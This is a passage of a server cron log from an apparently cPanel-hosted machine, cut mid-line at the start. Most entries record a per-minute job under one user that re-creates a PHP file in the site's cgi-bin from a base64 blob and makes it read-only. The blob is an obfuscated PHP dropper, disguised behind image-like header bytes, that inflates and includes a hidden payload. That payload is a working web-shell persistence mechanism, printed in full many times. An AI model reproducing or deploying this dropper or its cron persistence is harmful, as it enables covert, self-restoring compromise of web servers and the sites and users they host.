"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:37:01 server CROND[6001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:38:02 server CROND[6045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:39:01 server CROND[6073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:39:01 server CROND[6074]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 07:40:01 server CROND[6138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:40:01 server CROND[6139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 07:40:01 server CROND[6140]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 07:40:01 server CROND[6141]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 07:41:01 server CROND[6244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:42:01 server CROND[6386]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 07:42:01 server CROND[6387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:43:01 server CROND[6452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:44:01 server CROND[6499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:45:01 server CROND[6549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 07:45:01 server CROND[6550]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 07:45:01 server CROND[6551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:46:01 server CROND[6657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:47:01 server CROND[6796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:48:01 server CROND[6850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:49:01 server CROND[6905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
